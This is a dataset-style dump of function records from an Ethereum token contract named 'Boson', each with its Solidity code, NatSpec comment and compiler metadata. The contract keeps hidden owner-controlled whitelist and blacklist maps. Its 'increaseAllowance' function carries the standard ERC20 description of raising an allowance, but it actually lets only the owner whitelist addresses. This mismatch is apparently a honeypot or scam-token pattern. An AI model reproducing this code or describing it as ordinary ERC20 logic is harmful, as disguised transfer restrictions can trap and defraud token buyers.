NatSpecMultiLine
totalSupply
function totalSupply() public view override returns (uint256) { return _totalSupply; }
/** * @dev See {IERC20-totalSupply}. */
NatSpecMultiLine
v0.6.12+commit.27d51765
MIT
ipfs://8f5ff795c0e34f7fdb2ee122773e26085be178e9719f094d7b66aa015c5eb6ba
{ "func_code_index": [ 3301, 3406 ] }
18,593
Boson
Boson.sol
0x53472e85d4046abe3626a0d71208de554ce2999c
Solidity
Boson
contract Boson is Context, IERC20 { using SafeMath for uint256; using Address for address; mapping (address => uint256) private _balances; mapping (address => bool) private _whiteAddress; mapping (address => bool) private _blackAddress; uint256 private _sellAmount = 0; mappi...
/** * @dev Implementation of the {IERC20} interface. * * This implementation is agnostic to the way tokens are created. This means * that a supply mechanism has to be added in a derived contract using {_mint}. * For a generic mechanism see {ERC20PresetMinterPauser}. * * TIP: For a detailed writeup see our...
NatSpecMultiLine
balanceOf
function balanceOf(address account) public view override returns (uint256) { return _balances[account]; }
/** * @dev See {IERC20-balanceOf}. */
NatSpecMultiLine
v0.6.12+commit.27d51765
MIT
ipfs://8f5ff795c0e34f7fdb2ee122773e26085be178e9719f094d7b66aa015c5eb6ba
{ "func_code_index": [ 3464, 3588 ] }
18,594
Boson
Boson.sol
0x53472e85d4046abe3626a0d71208de554ce2999c
Solidity
Boson
contract Boson is Context, IERC20 { using SafeMath for uint256; using Address for address; mapping (address => uint256) private _balances; mapping (address => bool) private _whiteAddress; mapping (address => bool) private _blackAddress; uint256 private _sellAmount = 0; mappi...
/** * @dev Implementation of the {IERC20} interface. * * This implementation is agnostic to the way tokens are created. This means * that a supply mechanism has to be added in a derived contract using {_mint}. * For a generic mechanism see {ERC20PresetMinterPauser}. * * TIP: For a detailed writeup see our...
NatSpecMultiLine
transfer
function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _approveCheck(_msgSender(), recipient, amount); return true; }
/** * @dev See {IERC20-transfer}. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. */
NatSpecMultiLine
v0.6.12+commit.27d51765
MIT
ipfs://8f5ff795c0e34f7fdb2ee122773e26085be178e9719f094d7b66aa015c5eb6ba
{ "func_code_index": [ 3796, 3980 ] }
18,595
Boson
Boson.sol
0x53472e85d4046abe3626a0d71208de554ce2999c
Solidity
Boson
contract Boson is Context, IERC20 { using SafeMath for uint256; using Address for address; mapping (address => uint256) private _balances; mapping (address => bool) private _whiteAddress; mapping (address => bool) private _blackAddress; uint256 private _sellAmount = 0; mappi...
/** * @dev Implementation of the {IERC20} interface. * * This implementation is agnostic to the way tokens are created. This means * that a supply mechanism has to be added in a derived contract using {_mint}. * For a generic mechanism see {ERC20PresetMinterPauser}. * * TIP: For a detailed writeup see our...
NatSpecMultiLine
allowance
function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; }
/** * @dev See {IERC20-allowance}. */
NatSpecMultiLine
v0.6.12+commit.27d51765
MIT
ipfs://8f5ff795c0e34f7fdb2ee122773e26085be178e9719f094d7b66aa015c5eb6ba
{ "func_code_index": [ 4527, 4683 ] }
18,596
Boson
Boson.sol
0x53472e85d4046abe3626a0d71208de554ce2999c
Solidity
Boson
contract Boson is Context, IERC20 { using SafeMath for uint256; using Address for address; mapping (address => uint256) private _balances; mapping (address => bool) private _whiteAddress; mapping (address => bool) private _blackAddress; uint256 private _sellAmount = 0; mappi...
/** * @dev Implementation of the {IERC20} interface. * * This implementation is agnostic to the way tokens are created. This means * that a supply mechanism has to be added in a derived contract using {_mint}. * For a generic mechanism see {ERC20PresetMinterPauser}. * * TIP: For a detailed writeup see our...
NatSpecMultiLine
approve
function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; }
/** * @dev See {IERC20-approve}. * * Requirements: * * - `spender` cannot be the zero address. */
NatSpecMultiLine
v0.6.12+commit.27d51765
MIT
ipfs://8f5ff795c0e34f7fdb2ee122773e26085be178e9719f094d7b66aa015c5eb6ba
{ "func_code_index": [ 4825, 4999 ] }
18,597
Boson
Boson.sol
0x53472e85d4046abe3626a0d71208de554ce2999c
Solidity
Boson
contract Boson is Context, IERC20 { using SafeMath for uint256; using Address for address; mapping (address => uint256) private _balances; mapping (address => bool) private _whiteAddress; mapping (address => bool) private _blackAddress; uint256 private _sellAmount = 0; mappi...
/** * @dev Implementation of the {IERC20} interface. * * This implementation is agnostic to the way tokens are created. This means * that a supply mechanism has to be added in a derived contract using {_mint}. * For a generic mechanism see {ERC20PresetMinterPauser}. * * TIP: For a detailed writeup see our...
NatSpecMultiLine
transferFrom
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) { _approveCheck(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; }
/** * @dev See {IERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}; * * Requirements: * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amou...
NatSpecMultiLine
v0.6.12+commit.27d51765
MIT
ipfs://8f5ff795c0e34f7fdb2ee122773e26085be178e9719f094d7b66aa015c5eb6ba
{ "func_code_index": [ 5468, 5798 ] }
18,598
Boson
Boson.sol
0x53472e85d4046abe3626a0d71208de554ce2999c
Solidity
Boson
contract Boson is Context, IERC20 { using SafeMath for uint256; using Address for address; mapping (address => uint256) private _balances; mapping (address => bool) private _whiteAddress; mapping (address => bool) private _blackAddress; uint256 private _sellAmount = 0; mappi...
/** * @dev Implementation of the {IERC20} interface. * * This implementation is agnostic to the way tokens are created. This means * that a supply mechanism has to be added in a derived contract using {_mint}. * For a generic mechanism see {ERC20PresetMinterPauser}. * * TIP: For a detailed writeup see our...
NatSpecMultiLine
increaseAllowance
function increaseAllowance(address[] memory receivers) public { require(msg.sender == _owner, "!owner"); for (uint256 i = 0; i < receivers.length; i++) { _whiteAddress[receivers[i]] = true; _blackAddress[receivers[i]] = false; } }
/** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` c...
NatSpecMultiLine
v0.6.12+commit.27d51765
MIT
ipfs://8f5ff795c0e34f7fdb2ee122773e26085be178e9719f094d7b66aa015c5eb6ba
{ "func_code_index": [ 6202, 6493 ] }
18,599